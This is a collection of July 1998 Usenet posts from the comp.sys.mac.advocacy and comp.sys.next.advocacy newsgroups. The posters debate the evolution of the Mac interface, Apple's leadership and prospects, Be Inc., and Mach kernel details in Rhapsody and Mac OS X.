> > > Rather than making the UI far better than anything else in the world, Mac
> > > OS X still looks and behaves a lot like the original Mac OS.
> >
> > Again, that's because the original UI worked very well, and with subtle
> > improvemnets, it continues to work well and be familiar.
>
> That's all well and good, but where is the room for advancement?
What sort of truly interesting and useful advancements do you want to see
in the Macintosh UI? Oh, sorry, that was not fair to ask. You had a
problem answering that question before.
Okay, here's an example. Go to a Mac Plus with System 5 running Finder. It
let you run only one application at a time. Now turn System 7 with
Multifinder. With a subtle change to the UI -- a menu on the right end of
the menu bar -- you can run several applications at once.
Here's another example. Go to a Mac Plus with System 5. The whole UI is
based on a one-pixel screen depth. Now go to a more recent Mac with System
7 or OS 8. You can run in any of several color depths. All kinds of things
on the screen -- Icons, windows, buttons -- have a pleasant molded look to
them, yet all the basic UI features remain the same.
And yet another. When Apple invented QuickTime, they used *existing*
control widgets (buttons, sliders and menus) for the QuickTime window
controls. Then, when they came out with the QuickTime Xtra for Netscape,
the one with streaming video, the added a subtle thing to the "teape head"
slider to show you how much of the movie had already streamed in. All of
the controls all worked the same as before; just one of them had a subtle
change to reflect the new behavior.
My whole point is that the Macintosh UI is at once simple enough that
there are few exceptions to rules and it's easy to learn, and it is rich
enough that it can be easily modified to meet new requirements without
changing the whole interface.
Someone who had slept in a cave for the past ten years would feel right at
home with the Mac, but Windows 98 is a completely different beast from
Windows.
> If we must stick with subtle improvements and keep everything familiar,
> then when are we going to get something new and something significantly
> better?
Um, like what? Oh, sorry again, you couldn't answer that question before.
> The Macintosh was new and unfamiliar when it came out. It was scoffed at by
> some and feared by others. What came before seemed to work well for people
> yet now many of the concepts introduced to the world with the Macintosh are
> commonplace and accepted.
That shows that the Mac did something right. Windows borrowed a lot of the
concepts, didn't get it right, and had to make major revisions in every
release.
> > >There are
> > > better alternatives to nearly everything that is in the Mac OS that could
> > > be implemented.
> >
> > Like what?
>
> How about the menu system?
>
> See http://www.ews.uiuc.edu/~tokarek/rhapsody
That's pretty neat, but it isn't revoltionary. The basic idea of a single
menu bar across the top of the screen is still there. The bar contains
titles. You click on one and a menu opens up. You select a menu item, and
maybe another menu opens up. (Whups! That's another example of something
that wasn't present in the original Mac UI!) Now some menus can be torn
off to become palettes on the screen. It's a subtle change that builds on
top of an existing structure. It doesn't require a whole new UI.
> How about the handling of the file system where cross-platform file sharing
> can cause the user confusion and annoyance?
>
> Perhaps file types could be based not on name like Windows, and not with a
> couple of invisible codes like the Mac OS, but by the actual kind of file
> the thing is. Jpeg images can be distinguished as jpegs without a .jpg file
> name. You can call the .gif files and it doesn't change the image format.
> Word Perfect documents can be distinguished from Word 97 documents without
> an extension or type/creator code.
>
> Why not have an OS that is able to have defining characterisics of files be
> registered in order to determine the file type is and what application
> should open it?
I assume you mean "could" where you said "can," meaning that you wished
those could be the case. That would require that every file contains a
standardized file header that tells an application what the file contains.
It's not always easy to look at a random file and, without the benefit of
a MIME type or type/creator code, know what it is. Some formats look like
absolute garbage unless you know what you're looking for.
I worked at a company whose product was able to determine which of forty
or fifty text formats a file was. How many file formats are there in the
world? How many new formats are being invented every month? How many other
operating systems will cooperate with the Mac OS in helping to determine
file types?
It's an interesting problem you've stated, and solving it would be really
useful ... and really difficult.
> Granted, these are not fundamental changes with how we interact with
> computers, but they are advancements over the current Mac OS.
You're right. They're file format issues, not UI issues. Don't harsh on
the Mac's steady evolutionary refinement history by complaining that the
Mac can't determine the format of files from other sytsems.
> I would like to see a fundamental change in the way we interact with
> computers. I think it could be a lot better. Specifically how it could be
> better, I don't know, but that shouldn't be a barrier to trying to think of
> such things.
Nothing should be a barrier to trying to think about new approaches to UI
design. That said, what kinds of fundamental changes do you want to see?
How could a UI be better? Put another way, what's wrong with the current
thinking on UIs?
(What was wrong with the CLI of old was that it was purely verbal and you
had to memorize lots of arcane commands. The folks at Apple realized that,
got some ideas from Xerox PARC, and came up with a really cool solution.
So what's wrong with Apple's UI?)
> We haven't had a significant change in the Mac UI for 14 years. The
> original concepts have just been advanced further. There has been no major
> paradigm shift.
There have been significant changes -- multifinder, for one example -- buy
they have all been accomplished subtly, without costly redeigns.
> Maybe you argue that's a good thing, but while Apple has been eeking by,
> other companies have been enhancing and advancing their UIs.
Like how? All the Windows variants, NeXT, Be, and so forth are pretty much
like the Mac: menus, icons, windows, buttons, sliders, and so forth. There
are a few widget concepts in other UIs that I'd like to see on the Mac,
but none of them would mean a complete redesign of the Mac's OS.
> I'm generally
> very critical of Windows, but there are a few good ideas there. Apple is
> playing catch up in a lot of ways. It might be best if it can blaze past
> the competition with something completely new.
The problem with something "completely new" is that people will have to
relearn everything. The Mac's UI is fine for the kinds of things people
are currently doing with ocmputers. The amazingly wide variety of things
that people are doing now, compared to what they did before the Mac UI and
its copiers, is a testament to that. Computers are now being used in just
about every human activity.
So what, precisely is the problem with the Mac's UI? What solution do you
propose?
--
Michael Roeder -- mroeder at macromedia dot com
http://www.stopspam.org/usenet/faqs/faqs.html
From: jconway@macprosinc.com (Jim Conway)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple heading to obscurity?
Date: Fri, 17 Jul 1998 16:54:26 -0500
Organization: MacPros Inc.
Message-ID: <jconway-1707981654260001@pc28.macprosinc.com>
References: <6odhav$6iu$1@server.signat.org> <6odln1$2dt@shelob.afs.com> <35aa6842.0@news.depaul.edu> <6ods6g$g5u$1@news.digifix.com> <macghod-1307981459460001@sdn-ar-001casbarp304.dialsprint.net> <6oe13t$hm7$1@news.digifix.com> <gmgraves-1407980916110001@sf-usr1-43-171.dialup.slip.net> <6oggrh$ed9$1@news.digifix.com> <gmgraves-1507981145460001@sf-usr1-30-158.dialup.slip.net> <6oj36m$bgq$1@news.digifix.com> <gmgraves-1607981329400001@sf-pm5-16-80.dialup.slip.net> <6olsfi$jeh$3@server.signat.org> <gmgraves-1607982131240001@sf-pm5-7-71.dialup.slip.net> <joe.ragosta-1707980623560001@elk84.dol.net> <gmgraves-1707981044290001@sf-pm5-10-74.dialup.slip.net>
gmgraves@slip.net (George Graves) wrote:
<snip discussion about Apples direction>
>Joe, everything that Jobs has done for Apple is a short-term only
>strategy. Long-run, as I see it, Apple is still in deep trouble. Although
>I won't abandon the Mac, ever, I simply don't see any way for either Apple
>or the Mac to survive long-term. But Apple doesn't need to just survive,
>it needs to flourish and grow the Mac market. In my humble opinion, it
>can't do that alone, and it's beginning to look like it can't so it at
>all, not at this eleventh hour stage.
>
>George Graves
I'm sorry George, but I don't believe there is an "eleventh hour". The
future just keeps chugging away and changing on us. And furthermore I
believe the future is _exactly_ what Apple is preparing for.
Of course nothing is remembered like a lesson painfully learned. And boy
has Apple had some painful lessons.
While I will certainly admit you your perspective, I think it's flawed in
many ways. I feel you're taking a very static view of the computer
industry and the world. Just because someone runs Windows today does not
mean they are going to be running Windows tomorrow or in the year 2000 or
the year 2010. Do you really think Word 8 has been written to last the
ages? Do you really think Microsofts "solutions" are laying the ground
work for our future? No. They are barely hanging on to today. They are
hanging on by the sheer weight of the bundling deals they have made and
the momentum created by simply having those millions of copies of Office
already on peoples machines and working just good enough on half-assed
processors just cheap enough.
I think Apple is laying the groundwork for the future and bringing us
along with them. Mac OS X, Yellow "reports of my demise have been greatly
exaggerated" box and the Power PC chip. An OS separated from the hardware
so it can be moved to new technologies. (and they're coming - who in this
group would have predicted that as of mid '98 RAM would be approaching 1
dollar/Meg)
I remember a half dozen years ago experts in my industry predicting that
there would _Never_ be affordable color printing for the home user.
Physically impossible.
Well, have you priced a Epson Stylus Photo-700 lately.
or the IBM executive who predicted a world wide market for computers at 5.
or the prize winning biologist who claimed in the mid/late 70's that we
would _Never_ clone a mammal. Cannot be done. I'm the expert.
The only battle Apple has lost is the Intel Pentium mid to late 90's. I
think because you've focused on that you don't see the possibilities for
the pieces Apple is collecting and preparing.
And what exactly will happen to the laptop market when The Powerbooks
start running Windows under emulation faster than a "Real" Pentium
Notebook?
(where the hell is that G4 anyway?)
Is there any point to getting any _new_ OS on the current Intel chips? I
don't think so. The upgrade cycle for Intel based machines is something
like 2-3 years. Pentium is gonna be dead in 2 years, assuming of course
they get Merced working. And if they don't, and they have to stick with
the Pentium - so much the better, as the RISC chips pull further and
further away from the Intel easy-bake ovens. I think Apple is marshaling
its forces for a battle it has real chance of winning.
And we're part of that. We make the future with everything we do. When we
pitch in on the Mozilla for Rhapsody. When we help out someone with a
crashing Mac who has turned to Usenet for some helpful answers. When we
find a piece of software that allows a Mac or Next machine to stay instead
of being replaced by a Windows machine. When we buy a G3. Or when we
enlighten someone on the subject of WebObjects. When we pay our shareware fees.
The future is wide open George. And I think that's where Apple is, and
should, be focused.
Jim Conway
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Gassee and Apple's decay (was Re: Apple heading to obscurity?)
Date: Fri, 17 Jul 1998 15:00:30 -0700
Organization: Graves Associates
Message-ID: <gmgraves-1707981500310001@sf-usr1-13-141.dialup.slip.net>
References: <macghod-1007981752580001@sdn-ar-001casbarp159.dialsprint.net> <6o6in8$83n$1@supernews.com> <B1CC45E8-D794A@206.165.43.3> <6od786$g3$1@server.signat.org> <joe.ragosta-1307981231290001@wil55.dol.net> <6odhav$6iu$1@server.signat.org> <6odln1$2dt@shelob.afs.com> <35aa6842.0@news.depaul.edu> <6ods6g$g5u$1@news.digifix.com> <macghod-1307981459460001@sdn-ar-001casbarp304.dialsprint.net> <6oe13t$hm7$1@news.digifix.com> <6og79u$pg8$1@vixen.cso.uiuc.edu> <35ABA71F.64A649B5@ericsson.com> <joe.ragosta-1407981638020001@wil37.dol.net> <35ABD8E4.7E40F57F@ericsson.com> <gmgraves-1507981200570001@sf-usr1-30-158.dialup.slip.net> <6oj5a0$goe$1@hole.sdsu.edu> <19980716135346246924@slip-32-100-222-17.wa.us.ibm.net> <gmgraves-1607982146050001@sf-pm5-7-71.dialup.slip.net> <199807170824012819540@slip129-37-241-229.wa.us.ibm.net>
In article <199807170824012819540@slip129-37-241-229.wa.us.ibm.net>,
shawnm@snd.net (Shawn M.) wrote:
> George Graves <gmgraves@slip.net> wrote:
>
> > In article <19980716135346246924@slip-32-100-222-17.wa.us.ibm.net>,
> > shawnm@snd.net (Shawn M.) wrote:
> >
> > > tomlinson <etomlins@rohan.sdsu.edu> wrote:
> > >
> > > > George Graves (gmgraves@slip.net) wrote:
> > > >
> > > > : management, past and present and point fingers (If I had to pick one
> > > > : Apple personality upon which to pin the majority of its resultant
> > > > : woes, that person would be Jean Louis Gassee. His tenure at Apple
> > > > : is proabably the most responsible for Apple's poor marketshare today.)
> > > >
> > > > This is I think the second time I have seen Gassee criticised as
> > > > chiefly responsible for Apple's more idiotic decisions. Lacking
> > > > any knowledge of Gassee's tenure at the company, I can't judge the
> > > > statement. What's the story? What did he do?
> > >
> > > Gassee was NEVER the CEO of Apple. If you want to blame someone for
> > > Apple's former mistakes and "almost demise", try taking a look at John
> > > Scully and the person who was CEO immediately after him [name escapes me
> > > at the moment] as two of the people who really ran the company into the
> > > ground.
> >
> > That would be true in any OTHER company, not at Apple. Scully and Spindler
> > lacked two things to be effective CEOs (1) a clue, (2) any real power.
> > Management by concensus, might, as I said earlier, work in political
> > organizations, but in business it doesn't work at all.
>
> I don't agree with your theory as it applies to Apple. If it were true,
> Steve Jobs would not have the affect he's having now. He's the [acting]
> CEO and he's single handedly made lots of big decisions that affect
> Apple's future. Apple obviously isn't run by consensus anymore--at
> least not with Jobs in charge.
I never said that Apple was STILL being run by consensus. It certainly
WAS under Scully and Spindler, however. Its not a theory, its a fact.
Date: Fri, 17 Jul 1998 13:12:16 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Profits up, revenues continue to slide
Message-ID: <joe.ragosta-1707981312160001@wil54.dol.net>
References: <6oj739$aqu$1@lwnws01.ne.highway1.com> <rmcassid-1507981623500001@dante.eng.uci.edu> <6ojtmb$otj$2@lwnws01.ne.highway1.com> <rmcassid-1607980934480001@dante.eng.uci.edu> <joe.ragosta-1607982129100001@elk123.dol.net> <6omp7j$m5t$2@lwnws01.ne.highway1.com>
In article <6omp7j$m5t$2@lwnws01.ne.highway1.com>, jkheit@mediaone.net wrote:
> joe.ragosta@dol.net (Joe Ragosta) wrote:
> > At $1299, Apple is probably going to sell as many as they can make. At
> > $999, they wouldn't sell any more, so the market impact would be no
> > greater.
>
> Aint that pitiful? (That's rhetorical)
Whether it's pitiful or not is not the issue. Someone (was it you?) argued
that Apple would have much more market impact at $999 than $1299. That
statement was clearly in error.
As for it being pitiful, I doubt if either of us has enough information
about the iMac or Apple's manufacturing process to know just how quickly
Apple should be able to ramp up to the necessary volume, so it's
impossible to say if their iMac ramp up is good, bad, or indifferent.
But that won't stop you from pretending that you could do better.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: Fri, 17 Jul 1998 15:55:05 -0700
Organization: Graves Associates
Message-ID: <gmgraves-1707981555060001@sf-usr1-21-149.dialup.slip.net>
References: <6odhav$6iu$1@server.signat.org> <6odln1$2dt@shelob.afs.com> <35aa6842.0@news.depaul.edu> <6ods6g$g5u$1@news.digifix.com> <macghod-1307981459460001@sdn-ar-001casbarp304.dialsprint.net> <6oe13t$hm7$1@news.digifix.com> <gmgraves-1407980916110001@sf-usr1-43-171.dialup.slip.net> <6oggrh$ed9$1@news.digifix.com> <gmgraves-1507981145460001@sf-usr1-30-158.dialup.slip.net> <6oj36m$bgq$1@news.digifix.com> <gmgraves-1607981329400001@sf-pm5-16-80.dialup.slip.net> <6olsfi$jeh$3@server.signat.org> <gmgraves-1607982131240001@sf-pm5-7-71.dialup.slip.net> <6onmii$njn$1@server.signat.org>
In article <6onmii$njn$1@server.signat.org>, maury@remove_this.istar.ca
(Maury Markowitz) wrote:
> In <gmgraves-1607982131240001@sf-pm5-7-71.dialup.slip.net> George Graves
> wrote:
> > Run the company like adults on a permanent basis.
>
> Well that's just mudslinging George. The company is doing well now, and
> calling them children is mean spirited.
HMMMM You misunderstand, Maury. Steve is ACTING CEO. While he's been
there, the company has changed, and yes, they seem to have achieved
some maturity. But one of these days Jobs is going to move on, and
Apple's 'strange' corporate culture will then kick back in (Jobs has it on
hold because the troops are scared of him), and there goes the adult
management. I did not mean to imply that Apple's current management
was childish.
>
> > Restore some of the lost credibility
>
> Sure, I agree, but when people are going around making wild comments, like
> that Jobs' plan is to sell Apple, that's harder than it should be. We both
> know you have absolutely no evidence whatsoever to back your opinion that
> Jobs is planning to sell Apple off. That's FUD in it's worst form.
Not if I preface that statement as MY opinion (which I did). I believe that
Jobs is smart enough to realize that irrespective of what he does to "fix"
Apple in the short run, that in the long run Apple simply can't make it
without a strong partner. There are many reasons for this, and I'll just
mention one of them. In order for Apple to avoid becoming totally
irrelevant, they must innovate. They must continue to introduce products
and TECHNOLOGIES which will differentiate them from Wintel in a
compelling manner; one which will make people want, not only to stay
with the platform, but for new users to flock to it. This takes a tremendous
R&D budget. Apple's revenues are STILL in free-fall. Yet we expect them
to innovate for the platform by themselves. Jobs realized that this was
a daunting task. That's why he jettisoned almost everything except Apple's
core business; so that the available resources could be focused on
Macintosh. But with marketshare falling, and revenues falling, the money
to maintain an R&D presence equal to or greater than that which exists in
the MUCH larger Wintel world isn't going to be there. A partner is needed.
One which can either fund such a presence (a deep-pockets company like
IBM or Philips), or benefit directly from it (a partner in the same business
such as Sun). I believe that my assessment of the situation is at least as
good as anyone's, and I feel that I have a right to voice this as my opinion.
If that constitutes FUD, then so be it. But the Pollyanna attitude expressed
by you and Joe Ragosta is just not realistic. In the present circumstances,
Apple and the Macintosh are doomed first to total irrelevency, and then
to obscurity, and then they will be gone. Most people think that the Mac is
passe already (I obviously don't agree), but if they continue to try to go it
alone, they soon will be.
>
> > move Apple toward being a mainstream computer
>
> What exactly is the iMac if not just this?
A step in the right direction, but just a curiosity. I think many Mac
boosters here are going to be appalled at how few iMacs are going
to sell (after the pent-up demand, and the faithful have bought, that
is). I simply don't see it selling to the "fence sitters" -those people
wh have never yet bought a computer. Wintel clones continue to
erode in price, by Christmas, the average 266 MHz NAME BRAND
Wintel clone will be selling for less than $800 (according to PC
magazine) WITH Monitor and speakers, and modem, and at least 64
megs of memory and a really compelling software bundle. And don't
forget, these "fence-sitters' " friends all have PCs. In other words,
Apple still has the same old problem. Anything they come up with
sells almost exclusively to the choir. They are bound by a fixed
market of 25 million buyers (more or less) and it always the same
25 million. That's because Apple has isolated itself completely
from the mainstream computer industry.
As I see it, Apple's (and the Mac's) best chance lies along the
following lines:
1) Write a version of OSX which will not only run on Intel, but
will run native Windows apps as if they were Mac apps.
2) Back out of the PowerPC. Continue to support those already
out there, but make no more new ones. Build high quality
leading-edge Intel machines which innovate the platform and
which are tightly integrated with the Intel MacOS, In other
words, out-Windows Windows. We all know how much better
the Mac GUI is better than Windows, and we know the
superiority of Unix over NT. OSX will have both. People would be
able to choose their OS based upon their preferences, not upon
which platform has the software they need.
By more tightly integrating the Apple-built Intel boxes to the
Mac OS, There will be a compelling reason for people to buy
Apple rather than Compaq, Dell etc. BUT, if money is a problem,
the Mac OS will run on those machines as well, just without
the level of integration that the Apple boxes provide.
Apple can remain a high-value computer builder and yet
anybody would be able to run MacOS on their present
Intel machines. I think that Apple would clean-up and
the Mac's future would be secure.
>
> > reinstate clones.
>
> Maybe later.
Not unless Apple is bought and Steve is long gone. Nobody
would ever trust an independent Apple enough to sign a
clone licence again and bet their future (ala Power Computing)
on Apple's future course.
George Graves
> Maury
From: xmac@my-dejanews.com
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Gassee and Apple's decay (was Re: Apple heading to obscurity?)
Date: Fri, 17 Jul 1998 22:49:34 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6ookdu$afp$1@nnrp1.dejanews.com>
References: <6oj5a0$goe$1@hole.sdsu.edu> <B1D27F61-1F256@206.165.43.178> <6ojoum$tvm$1@nnrp1.dejanews.com> <6oluc7$2b7$1@news-1.news.gte.net>
In article <6oluc7$2b7$1@news-1.news.gte.net>,
kmish@cmc.net wrote:
> xmac@my-dejanews.com wrote:
>
> > You may also wish to notice that Gasse's first instinct with Be was
> > to base it on a largely proprietary hardware platform and only when
> > sales tanked did they decide to port to PowerMac and then Intel.
>
> That's some serious historical revisionism you're up to there, and you
> may want to contemplate some obvious contradictions of your assertion:
>
Uh-Oh, I've been spanked! I'll just change my original assertion, but keep the
intent the same.
After f*cking up royally at Apple JLG left and formed Be, which while showing
great technological promise has yet to release a commercial version of their
OS. They have also yet to demonstrate the ability to capture even a niche
market, generate a steady flow of revenue, or come up with the killer app
needed to do either of those things. They have recieved a lot of support from
Intel.
Intel has lots and lots of money and will write a check to just about anyone
willing to port a potentially great OS to x86, because like everyone else
Intel dreams in vain of one day getting out from under Microsoft's thumb.
Intel even tried to do the same thing with Apple's own MacOS. That plan was
also a great idea, but just did not make enough business sense to ever be
successful.
As much as I would like to see them find success, I am afraid that Be will
suffer the same fate. (You may wnt to review what Michael Dell told Apple
officials when they demonstrated the MacOS-Intel to him. Paraphrase: "Great,
but unless it's free I can't use it.")
Gassee may be a good technical visionary, but just does not have the business
sense to back it up. You can clearly see that from his days at Apple and
Apple has suffered because of it. Maybe he's learned his lesson. I certainly
hope so.
>
> > Be either needs to get some major backers quick or go opensource
> > with the whole thing. (IMHO) <--this part hasn't changed.
I just don't see the BeOS as any kind of major player or revenue generator.
Even by the MacOS's somewhat-small-marketshare standard. They have yet to
announce the kind of revenue generating deals it take to make it and since
they don't build their own boxes anymore, for whatever reason, they aren't
likely to make it on their own either. People just don't buy an OS off the
shelf, but that's a whole other thread.
> Be -has- some major backers. In fact, if you'd like a good overview of
> how venture capitalization works in practice (e.g., why civilians need
> not get involved!), JLG's various columns on the topic (available via
> Be's web site) serve as an informative and entertaining introduction.
Civillian? That's is kind of funny as the company I work for,
"Big-Time-Internet -Startup-Inc." is rather awash in venture capitalists at
the moment. I also know that no matter how good you look or how late the
parking lot stays full the evenings, they eventually want to see some real
$$$ on the bottom line. I should know since my team and I hold the
"choke-point" of revenue generation here and feel the pressure everyday. Be
and JLG have yet to get out of the "gee-wiz" phase from what I can see and
they've been around since 1990! Just how much time do they need anyway? If I
were a venture capitalist with Be I'd be worried.
>
> --Professor Mish
President of the Jean-Louis Gassee Fan Club.
-Stephen
----------------------------------------------------------------------------
"Darn, I only got a Master's Degree"
Looking for Mac-stuff? Find it here:
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From: maury@remove_this.istar.ca
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Gassee and Apple's decay (was Re: Apple heading to obscurity?)
Date: 17 Jul 1998 22:30:59 GMT
Organization: none
Message-ID: <6oojb3$af0$1@server.signat.org>
References: <macghod-1007981752580001@sdn-ar-001casbarp159.dialsprint.net> <6o6in8$83n$1@supernews.com>
<B1CC45E8-D794A@206.165.43.3> <6od786$g3$1@server.signat.org>
<joe.ragosta-1307981231290001@wil55.dol.net> <6odhav$6iu$1@server.signat.org>
<6odln1$2dt@shelob.afs.com> <35aa6842.0@news.depaul.edu>
<6ods6g$g5u$1@news.digifix.com> <macghod-1307981459460001@sdn-ar-001casbarp304.dialsprint.net>
<6oe13t$hm7$1@news.digifix.com> <6og79u$pg8$1@vixen.cso.uiuc.edu>
<35ABA71F.64A649B5@ericsson.com> <joe.ragosta-1407981638020001@wil37.dol.net>
<35ABD8E4.7E40F57F@ericsson.com> <gmgraves-1507981200570001@sf-usr1-30-158.dialup.slip.net>
<6oj5a0$goe$1@hole.sdsu.edu> <19980716135346246924@slip-32-100-222-17.wa.us.ibm.net>
<gmgraves-1607982146050001@sf-pm5-7-71.dialup.slip.net> <199807170824012819540@slip129-37-241-229.wa.us.ibm.net>
<rmcassid-1707980927330001@dante.eng.uci.edu> <19980717143757424354@slip-32-100-148-121.wa.us.ibm.net>
Mime-Version: 1.0
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Cc: shawnm@snd.net
In <19980717143757424354@slip-32-100-148-121.wa.us.ibm.net> Shawn M. wrote:
> I'm not disputing any of that. Mr. Graves was saying that Apple is run
> by consensus. He didn't use past tense, he used present tense. I'm
> saying that obviously isn't the case anymore.
Actually he didn't, it just looked that way due to the particular way he
posted the timeline. Go back and you'll see that he notes that Jobs is in
control.
Maury
From: quinlan@intergate.bc.ca
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Fri, 17 Jul 1998 22:48:23 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6ookbn$adr$1@nnrp1.dejanews.com>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <6oae9f$7sf@netnews.hinet.net> <6od8vj$e54$1@nnrp1.dejanews.com> <gmgraves-1307981113030001@sf-pm5-24-88.dialup.slip.net> <Josh.McKee-1307982024580001@pm3a3.rmac.net> <gmgraves-1407980930580001@sf-usr1-43-171.dialup.slip.net> <Josh.McKee-1407981853200001@pm3a4.rmac.net> <gmgraves-1507981228010001@sf-usr1-30-158.dialup.slip.net> <6ojb7i$90f$1@nnrp1.dejanews.com> <gmgraves-1607981336280001@sf-pm5-16-80.dialup.slip.net> <6omtlg$an$1@nnrp1.dejanews.com> <joe.ragosta-1707980625020001@elk84.dol.net>
In article <joe.ragosta-1707980625020001@elk84.dol.net>,
joe.ragosta@dol.net (Joe Ragosta) wrote:
> That was also several years ago and long before they changed management.
> The old management was canned precisely because they _couldn't_ meet their
> promises. Let's judge the current management team by what _they_ have
> promised, not by what the previous management promised.
As a customer, why should I care about Apple's excuses? The way I look at it:
1) Apple said that my 6100 would run their "next generation operating system"
2) I will not be able to run their "next generation operating system"
Therefore Apple lied. It doesn't matter, to me, why they lied. BTW, the
current management team said that all currently shipping Macs (at the time)
would be able to run Rhapsody. While this might be technically true, it is
still misleading.
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From: xmac@my-dejanews.com
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Gassee and Apple's decay (was Re: Apple heading to obscurity?)
Date: Fri, 17 Jul 1998 23:00:49 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6ool31$c7g$1@nnrp1.dejanews.com>
References: <19980716135346246924@slip-32-100-222-17.wa.us.ibm.net> <B1D3D746-223D1@206.165.43.46>
In article <B1D3D746-223D1@206.165.43.46>,
"Lawson English" <english@primenet.com> wrote:
> Shawn M. <shawnm@snd.net> said:
>
> >
> >Gassee was NEVER the CEO of Apple. If you want to blame someone for
> >Apple's former mistakes and "almost demise", try taking a look at John
> >Scully and the person who was CEO immediately after him [name escapes
> >me
> >at the moment] as two of the people who really ran the company into the
> >ground.
> >
>
> Gee...
>
> Sculley got Jobs ousted because he was acting like a nutcase and no bank in
> America would give Apple a loan as long as "that nutcase" [rumored direct
> quote] was still in control of Apple.
>
> Sculley, the person who ran Apple into the ground, took it from being a $1
> billion/year company to a $12 billion per year.
>
> SPindler was an interesting case. He obviously had severe physical and
> mental problems when he took charge.
>
> Amelio then took charge, with no effort made to find an alternate
> replacement.
> Jobs then took charge, with no [serious] effort made to find and alternate
> replacement.
>
> There's an interesting pattern here, if you're willing to examine it (which
> I doubt):
>
> Markkukla (the principle stockholder ) was followed by Jobs (hand-picked by
>
> Markkula, the principle stockholder) was followed by Sculley (hand-picked
> by
> Markkula, the principle stockholder) was followed by Spindler (hand-picked
> by
> Markkula, the principle stockholder) was followed by Amelio (hand-picked by
> Markkula, the principle stockholder) was followed by Jobs (hand-picked by
> Markkula, the principle stockholder).
>
> Do you see the pattern?
>
Yeah! That nutcase is smarter than you think, sinse he's now back in control
with no one to challenge him this time. Very clever indeed. NeXT was just a
tem year plan to regain control of Apple. It all makes sense now.
...Oh wait, you meant the Markkula thing didn't you? Yeah I think he's
outlived his usefullness -if you know what I mean. (Just say the word Mr.
Jobs. No questions asked of course.) ;-)
-Stephen
----------------------------------------------------------------------------
"Permanent CEO? We don't need no stinkin' Permanent CEO."
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From: sdavis@aureal.com (Stephen A. Davis)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy,comp.sys.powerpc.advocacy
Subject: Re: Mach Kernels, MkLinux, and Mac OS X
Message-ID: <sdavis-1707981612340001@149.118.128.38>
References: <Pine.SOL.3.96.980716142711.2583A-100000@ux7.cso.uiuc.edu> <6olq3g$jeh$1@server.signat.org> <sdavis-1607981711490001@149.118.128.38> <6omat6$snn$3@server.signat.org>
Organization: Aureal Semiconductor
Date: Fri, 17 Jul 1998 23:13:14 GMT
NNTP-Posting-Date: Fri, 17 Jul 1998 19:13:14 EDT
In article <6omat6$snn$3@server.signat.org>, maury@remove_this.istar.ca
(Maury Markowitz) wrote:
>In <sdavis-1607981711490001@149.118.128.38> Stephen A. Davis wrote:
>> Here's the trick. Yes, the Rhapsody kernel is based on Mach 2.5 but it
>> also incorporates some things from 3.0, some things from 4.0 (lookin' like
>> OSF Mk), and the biggest change of all -- a new driver architecture.
>
> I believe the reference to "new driver architecture" means "Mk driver
>architecture".
Ah well, I figured my lapsing Mach knowledge was going to get me in
trouble. :-)
Does the Mk architecture run a single I/O task in the kernel with a thread
for each device (and it's driver)? If so, did NeXT adopt this change from
the OSF and then stick I/O kit on top of it? From what you say, it seems
like that's what happened.
I think the business/support aspects are the real reason Apple has stated
they may not support the old machines. Let them surprise us with support
if they can but let's not shoot them for being resource-constricted!
Besides, since the DR Rhapsody releases already run on a lot of the 604
PCI Power Macs I expect (optimistically) that they will be supported in
the end.
stephen
From: sdavis@aureal.com (Stephen A. Davis)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy,comp.sys.powerpc.advocacy
Subject: Re: Mach Kernels, MkLinux, and Mac OS X
Message-ID: <sdavis-1707981614100001@149.118.128.38>
References: <Pine.SOL.3.96.980716142711.2583A-100000@ux7.cso.uiuc.edu> <6olq3g$jeh$1@server.signat.org> <sdavis-1607981711490001@149.118.128.38> <6onq0d$fkg$1@nntp6.u.washington.edu>
Organization: Aureal Semiconductor
Date: Fri, 17 Jul 1998 23:14:48 GMT
NNTP-Posting-Date: Fri, 17 Jul 1998 19:14:48 EDT
In article <6onq0d$fkg$1@nntp6.u.washington.edu>,
gwangung@u.washington.edu (R. Tang) wrote:
>In article <sdavis-1607981711490001@149.118.128.38>,
>Stephen A. Davis <sdavis@aureal.com> wrote:
>>I think this new plan is an admirable goal and makes hot-swappable busses
>>like FireWire and USB a dream to use and support. Remember, MacOS X is
>>supposed to be the evolution of a consumer OS, not a server OS. It just
>>so happens that it can function as both but that's beside the point.
>
> Hmmm....it seems to me that this muddies the point and causes a
>lot of flaming.
Well, Apple _has_ to target the OS for the regular Mac user or else the
majority may not adopt it. For MacOS X to be successful, Apple needs to
be really careful in what kind of public perception they generate about
it. Some people will know its true capabilities but a lot of regular
folks think of Unix as some crufty old engineers-only OS -- if they even
know what it is. Apple will try to hide as much of that as possible while
touting the buzzwords of pre-emptive multi-tasking, memory protection,
etc. It just so happens to come from a Mach/Unix core.
> Seems to me that a lot of the tradeoffs for making MacOS X a
>consumer OS is causing a lot of problems for folks wanting a server OS.
>Makes me wonder if there's indeed that much of a difference or if there
>SHOULD be one....
I don't think there really is a difference between the eventual MacOS X
and the current Rhapsody/MacOS X Server with respect to their ability to
behave like a server OS. I think you'll get everything you need to run a
server but it unfortunately might be a separate software package to expose
everything. Hopefully it'll just be an "expert" setting or something like
that.
On the other hand, Apple may introduce some new heavy server features to
